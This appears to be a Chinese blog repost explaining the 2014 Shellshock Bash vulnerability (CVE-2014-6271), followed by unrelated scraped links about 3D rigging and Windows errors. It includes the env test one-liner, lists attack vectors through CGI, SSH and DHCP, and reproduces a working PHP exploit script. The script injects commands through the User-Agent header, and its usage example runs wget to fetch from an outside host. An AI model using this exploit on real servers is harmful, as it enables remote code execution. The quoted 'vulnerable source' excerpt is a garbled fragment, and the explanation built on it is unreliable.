Bash漏洞

article/2025/10/4 21:32:24

 

1、漏洞的起因

  这个漏洞的起因源自于Bash(Bourne Again SHell)的ENV指令 

  http://ss64.com/bash/env.html 

envDisplay, set, or remove environment variables, Run a command in a modified environment.Syntaxenv [OPTION]... [NAME=VALUE]... [COMMAND [ARGS]...]Options-u NAME--unset=NAMERemove variable NAME from the environment, if it was in theenvironment.--i--ignore-environmentStart with an empty environment, ignoring the inheritedenvironment.
Arguments of the form `VARIABLE=VALUE' set the environment variable VARIABLE to value VALUE. VALUE may be empty (`VARIABLE='). Setting a variable to an empty value is different from unsetting it.The first remaining argument specifies the program name to invoke; it is searched for according to the `PATH' environment variable. Any remaining arguments are passed as arguments to that program.If no command name is specified following the environment specifications, the resulting environment is printed. This is like specifying a command name of `printenv'.

  

2、产生原理

  其实就是一个远程写shell的漏洞!得到Apache权限!

  虽然ENV是一个指令执行的指令,但是这并不是这次CVE漏洞的产生原因,原因在于:ENV的指令执行走的是正常的BASH指令解析、执行流程,而在一个采取了安全配置的服务器上,对敏感指令的执行都是进行用户级别的权限限制的,所以,ENV本身并不是任意指令执行。真正导致命令任意执行的原因是"Code Injection",即代码注入 ;(我也是抄的,请大家不要为难小白我!)

  这里贴上bash3.2漏洞源码

  

/bu/evalstring.c
struct fd_bitmap *bitmap; bitmap = new_fd_bitmap (FD_BITMAP_SIZE);begin_unwind_frame ("pe_dispose");add_unwind_protect (dispose_fd_bitmap, bitmap);add_unwind_protect (dispose_command, command); /* XXX */global_command = (COMMAND *)NULL;
  
      这里就是代码产生漏洞的地方!没有对边界性进行限制。

  代码我将放在附件里!

 

3、总结防御

  bash(本地、ssh、cgi)允许使用ENV进行path临时设置  
  黑客通过自定义函数,并导出到变量中 
  BASH对环境变量的设置是通过"代码执行(EVAl)"完成的,即把ENV的参数当成code来执行,这在正常情况下是没有问题的 
  问题的关键是BASH没有对传入的参数进行正确的边界检查,导致数据和代码的混杂,产生了和PHP EVAL Code InJection类似的漏洞 env x='() { :;}; echo vulnerable' 
  代码注入的关键点在 ; echo vulnerable 

 

4、测试满足条件

测试语句

env x='() { :;}; echo vulnerable'  bash -c "echo this is a test" 结果:
vulnerable 
this is a test 

  a. 我们的攻击目标存在cmd执行的交互接口 
    本地交互shell

    

  b.SSH:使用SSH进行bash执行需要你知道对方的ssh帐号密码 

    

  c.FTP:需要对方开启了ftp cms的执行权限,已经你已经有了一个ftp的帐号密码 

  d.cgi:需要对方开启了CGI的解析模块 

  e. 我们有办法设置目标(或者临时设置)的环境变量 
 
  f. 我们可以控制即将进行环境变量设置的参数  
 
  根据这些先决条件,我们可以得到一些攻击向量 
 
    1. httpd 
        1) webserver常常将Referer、UserAgent、header等参数作为环境变量的设置源 
        2) 服务器提供了CGI脚本,当 CGI script被webserver执行的时候,CGI Script会去调用Bash 黑客可以通过开启了CGI的httpd服务器进行远程代码执行 
 
  g. Secure Shell (SSH) 
    对于git、rsync这类远程shell来说,常常会对用户可以执行的指令进行严格限制,但是这个BASH解析漏洞提供了一个bypass的向量 
 
  f. dhclient 
    动态主机配置协议客户端(dhclient的)被用来通过DHCP自动获取网络配置信息。该客户端使用不同的环境变量和运行bash来配置网络接口。连接到一个恶意的DHCP服务器可能允许攻击者在客户机上运行任意代码。 
    黑客通过在域中的DHCP服务器中对DHCP的回送包进行特定的修改,可以达到污染dhcpclient的环境变量参数的目的,从而进行远程代码执行 
 
  h. CUPS 
 
  i. sudo 
 
  j. Firefox 

 

5、自动测试

这里需要能够支持cgi模块!
<?php /* Title: Bash Specially-crafted Environment Variables Code Injection Vulnerability CVE: 2014-6271 Vendor Homepage: https://www.gnu.org/software/bash/ Author: Prakhar Prasad && Subho Halder Author Homepage: https://prakharprasad.com && https://appknox.com Date: September 25th 2014 Tested on: Mac OS X 10.9.4/10.9.5 with Apache/2.2.26GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13) Usage: php bash.php -u http://<hostname>/cgi-bin/<cgi> -c cmdEg. php bash.php -u http://localhost/cgi-bin/hello -c "wget http://appknox.com -O /tmp/shit" Reference: https://www.reddit.com/r/netsec/comments/2hbxtc/cve20146271_remote_code_execution_through_bash/Test CGI Code : #!/bin/bashecho "Content-type: text/html"echo ""echo "Bash-is-Vulnerable"*/ error_reporting(0); if(!defined('STDIN')) die("Please run it through command-line!\n"); $x = getopt("u:c:"); if(!isset($x['u']) || !isset($x['c'])) { die("Usage: ".$_SERVER['PHP_SELF']." -u URL -c cmd\n");} $url = $x['u']; $cmd = $x['c'];$context = stream_context_create(array('http' => array('method' => 'GET','header' => 'User-Agent: () { :;}; /bin/bash -c "'.$cmd.'"')));if(!file_get_contents($url, false, $context) && strpos($http_response_header[0],"500") > 0)die("Command sent to the server!\n");elsedie("Connection Error\n"); ?>

  测试方法:php bash.php -u http://hostname/cgi-bin/xx.cig -c cmd

  例如:php bash.php -u http://localhost/cgi-bin/hello.cgi -c "pwd"

                                            URL  /cgi文件 -c "命令"

转载于:https://www.cnblogs.com/Lzero/p/3993143.html


http://chatgpt.dhexx.cn/article/g0vkZNFW.shtml

相关文章

Linux系统bash漏洞

Linux系统bash漏洞 前言一、漏洞介绍二、实验过程总结 前言 bash&#xff0c;全称为Bourne-AgainShell&#xff0c;是控制Linux计算机命令提示符的软件。2014年被发现其存在严重的安全漏洞。bash在处理含有诸如”(){:;};”的环境变量赋值的代码上存在设计缺陷&#xff0c;错误…

Bash漏洞分析溯源

漏洞简介 Bash&#xff08;GNU Bourne-Again Shell&#xff09;是一个命令处理器&#xff0c;通常运行于文本窗口中&#xff0c;并能执行用户直接输入的命令。Bash还能从文件中读取命令&#xff0c;这样的文件称为脚本。 1.bash漏洞利用的版本号为4.3或更早的版本。产生漏洞的…

命令执行漏洞

命令执行漏洞的定义&#xff1a; 命令执行漏洞&#xff0c;就是指用户通过浏览器或其他辅助程序提交执行命令&#xff0c;由于服务器端没有针对执行函数做过滤&#xff0c;导致在没有指定绝对路径的情况下就执行命令。 命令执行漏洞的原理&#xff1a; 命令执行漏洞之所以…

计算机并行配置,windows10无法启动应用程序提示并行配置不正确解决方法

最近&#xff0c;有不少 Windows10系统 用户反映自己在使用电脑时&#xff0c;遇到了打开不了应用程序的问题&#xff0c;并提示“应用程序无法启动&#xff0c;因为应用程序的并行配置不正确。请参阅应用程序事件日志&#xff0c;或使用命令行sxstrace.exe工具”。这该怎么办呢…

报错提示:应用程序无法启动,因为应用程序的并行配置不正确,有关详细信息,请参阅应用程序时间日志,或使用命令行sxstrace.exe工具。有效解决方法

应用程序打不开&#xff0c;提示如图&#xff1a; 这个问题一般下载下面的文件安装后就可以了。 解决办法: 下载一个Microsoft Visual C 2008 Redistributable Package (x64)文件&#xff1a;下载链接&#xff1b; 链接打开如图&#xff0c;点击红色按钮下载&#xff0c;下载…

[Setting]win7下运行exe失败:应用程序无法启动,因为应用程序的并行配置不正确

win7下运行exe失败:应用程序无法启动&#xff0c;因为应用程序的并行配置不正确 1.问题描述 承接了一个项目&#xff0c;给甲方交接的时候&#xff0c;在它的电脑中运行出现了这个错误。 应用程序无法启动&#xff0c;因为应用程序的并行配置不正确。有关详细信息&#xff0c…

3dmax绑定骨骼

学习网址&#xff1a; https://www.bilibili.com/video/av30075688/?p20 1、案例素材准备 链接&#xff1a;https://pan.baidu.com/s/1fStZ3-CEG9WmdZNtJzPh2w 提取码&#xff1a;n0uf 2、导入初始模型 3、绑定骨骼 找到骨骼按钮。 4、点击骨骼之后&#xff0c;切换到左…

Blender图解教程:如何在保持模型姿态的情况下删除骨骼绑定

有的时候我们可能只想借助骨骼系统为模型摆个造型&#xff0c;然后在保持姿态的前提下提取不附带骨骼的静态模型。 我们只需要在物体模式下选择模型&#xff0c;然后在它的修改器属性标签中&#xff0c;将骨架(Armature)修改器应用掉 然后就可以安全地删除骨骼绑定了 有洁癖…

Unity将物体绑定在spine动画骨骼节点上

实现 1.在目标spine动画下新建一个空物体。 2.给空物体添加BoneFollwer脚本&#xff08;sprite动画添加BoneFollwer&#xff0c; ui动画添加BoneFollowerGraphic&#xff09;。此时spine动画上会显示出骨骼节点。 3.选择需要挂载的目标骨骼节点。此时运行会发现挂有该脚本…

blender绑定后,姿态模式 骨骼动 模型不动

就是这个样子&#xff0c;重复做了好几个模型&#xff0c;绑定后&#xff0c;切换到姿态模式&#xff0c;模型就是不能动&#xff0c;模型已经放大&#xff0c;已经合并顶点&#xff0c;已经3天了&#xff0c;找不到原因&#xff0c;卡在这里3天了&#xff0c;盼望帮忙解决

[maya] 简单绑定骨骼和刷权重

新建个正方体&#xff0c;并且确定是绑定模式 提高细分数 在长方体里创建关节 绑定蒙皮&#xff0c;并全部选中&#xff0c;长方体和骨骼。 点击蒙皮-》绘制蒙皮权重&#xff0c;白色代表影响&#xff0c;黑色代表影响不到。

blender 给人物角色绑定骨骼到unity3d

blender 给人物角色绑定骨骼到unity3d 转载请注明出处http://blog.csdn.net/qq_18609315/article/details/50417087 1.在blender中打开你的人物模型。确保角色的坐标轴在世界坐标的中心&#xff0c;人物的坐标轴应在脚底的位置&#xff0c;因为角色会在这个平面上移动 2.在“文…

【美术基础】PMX骨骼网格体导入UE5并重新绑定动作 - Blender 3.2.1 需要重新下载2.8版本使用Cats插件

Blender 3.2版本中对Cats插件的一些修复 FixModel功能修复 在Fix Model的时候会出现报错 此处由于我有Python功底&#xff0c;直接去找源代码修改掉此处的类型错误 将armature.py的205行改为 return context.window_manager.invoke_props_dialog(self, widthint(dpi_value …

【maya】骨骼绑定与蒙皮权重调整

(使用maya版本是2018.5) 首先导入一个没有骨骼的模型。 以下为了方便骨骼绑定我们使用建模工具箱。 文章目录 第一种绑定骨骼方式第二种绑定骨骼方式调整权重 第一种绑定骨骼方式 &#xff08;这种方式需要人物脸面朝z轴正方向。&#xff09; 1.上方面板装备-快速装备&am…

maya骨骼架设、蒙皮绑定与权重修正

一、简单的骨骼架设与蒙皮绑定 &#xff08;一&#xff09;骨骼创建 1.首先在Human IK面板中添加一个骨架 2.点击X射线显示关节 3. 将每一个关机放到合适的位置 4.点击绑定&#xff0c;菜单栏就会出现骨架以及蒙皮菜单 5.在蒙皮菜单中点击绑定蒙皮选项&#xff0c;根据自己的…

UE4骨骼动画绑定

先新建插槽&#xff0c;不然骨骼会跟着附加上的类动。 在骨骼内绑定然后进行调整后的类&#xff0c;生成时&#xff0c;同一个类也是在调整后的位置。 骨骼绑东西只是预览&#xff0c;还可以在动画里面的骨骼绑定看效果。 在人物类图里在Mesh下绑一个模型&#xff08;武器等等&…

three.js进阶之骨骼绑定

使用three.js也能实现3D模型的骨骼绑定&#xff0c;使用代码控制模型&#xff01;参考这里的呈现效果。 更加常见的应用场景应该是&#xff1a;给一个模型设置多套骨骼动画如唱、跳、Rap等&#xff0c;然后在浏览器中根据用户的输入选择执行不同的动画&#xff0c;这就需要对骨…

blender绑定骨骼法 2 rig

image.png image.png 生成一个body_temp add neck 脖子 add chin 下巴 image.png add shoulder肩膀 image.png add wrist手腕 add spline root .额那个位置 image.png add ankle脚踝 image.png FACIAL setup是面部的骨骼绑定,这里没眼球啥的就不弄了直接 点go 就生成了骨骼. im…

【ADV5】adv绑定不想创建那么多骨骼怎么设置

在maya做动画用ADV5有时候只是想做一些简单的绑定做动作不需要用上这么多骨骼&#xff0c;但是每次都生成太多导致权重处理增加 解决方法① 在Build之前选择需要调整的关节&#xff0c;如肩关节&#xff0c;在adv面板 属性&#xff08;Body edit Attribute&#xff09;- 移除…

Blender人物骨骼绑定

Blender人物骨骼绑定 1. 建立骨骼父子关系&#xff1a; 某些物体依附到其他物体上并成为它的子物体&#xff0c;可由骨骼按E键直接分裂出子骨骼。 2.将骨骼建立和三维模型的父子关系&#xff1a; 3. 设置反向运动学 正常的正向运动学是FK&#xff0c;也就是父骨骼带动子骨骼…